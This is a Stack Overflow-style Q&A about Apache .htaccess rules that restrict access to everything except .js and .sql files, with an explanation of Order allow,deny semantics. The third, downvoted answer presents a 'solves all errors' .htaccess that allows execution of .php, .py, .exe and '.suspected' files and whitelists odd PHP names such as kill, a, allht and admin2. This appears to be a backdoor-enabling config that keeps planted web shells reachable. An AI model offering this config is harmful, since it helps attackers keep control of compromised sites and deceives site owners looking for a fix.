25

I saw several htaccess example disabling some files to access:

<Files ~ "\.(js|sql)$"> order deny,allow deny from all </Files> 

for example, this prevents to access all .JS and .SQL files, the others are enabled. I want the contrary! I want those files to be ENABLED, all others to be prevented. How to achieve this?

3 Answers 3

47

Vorapsak's answer is almost correct. It's actually

order allow,deny <Files ~ "\.(js|sql)$"> allow from all </Files> 

You need the order directive at the top (and you don't need anything else).

The interesting thing is, it seems we can't just negate the regex in FilesMatch, which is... weird, especially since the "!" causes no server errors or anything. Well, duh.


and a bit of explanation:

The order cause tells the server about its expected default behaviour. The

 order allow,deny 

tells the server to process the "allow" directives first: if a request matches any allow directive, it's marked as okay. Then the "deny" directives are evaulated: if a request matches any deny directives, it's denied (it doesn't matter if it was allowed in the first pass). If no matches were found, the file is denied.

The directive

 order deny,allow 

works the opposite way: first the server processes the "deny" directives: if a request matches, it's marked to be denied. Then the "allow" directives are evaulated: if a request matches an allow directive, it's allowed in, even if it matches a deny directive earlier. If a request matches nothing, the file is allowed.

In this specific case, the server first tries to match the allow directives: it sees that js and sql files are allowed, so a request to foo.js goes through; a request to bar.php matches no directives, so it's denied.

If we swap the directive to "order deny,allow", then foo.js will go through (for being a js), and bar.php will also go through, as it matches no patterns.


oh and, one more thing: directives in a section (i.e. < Files> and < Directory>) are always evaulated after the main body of the .htaccess file, overwriting it. That's why Vorapsak's solution did not work as inteded: the main .htaccess denied the request, then the < Files> order was processed, and it allowed the request.

Htaccess is magic of the worst kind, but there's logic to it.

Sign up to request clarification or add additional context in comments.

3 Comments

Does this prevent uploads to a directory as well?
@user2251229 hm? What kind of uploads? There's no "uploading" in http, there's only POST data in a request, so your question isn't very clear to me. Anyway, if a directory is properly Deny'ed (by placing a .htaccess containing a deny from all directive in the directory), then all requests to that directory will be denied, including POST'ed data, so in that sense, yes, it does. But the directory can still be accessed by server-side languages, FTP, and other means.
Ok so let me understand this. If I wanted to deny txt, I would write what you suggested above, and post data from a file input field would not be written into which ever directory has the deny htaccess. However I can still retrieve information from that directory. Am I correct in my understanding? Thanks for the reply
0

Did you try setting a

deny from all 

outside (before) the tag, then changing the

deny from all 

to

allow from all 

inside? Something like

deny from all <Files ~ "\.(js|sql)$"> order allow,deny allow from all </Files> 

2 Comments

it now seems enables everything
Whoops, it looks like it should be order allow, deny. Changed in the post, see if that works.
-2

if you are having trouble with your website, use this htaccess code. It solves all error you may likely encounter

DirectoryIndex index.html index.php <FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|load|home|items|store).php$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>

If this help you, don't forget to thump up!!!

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.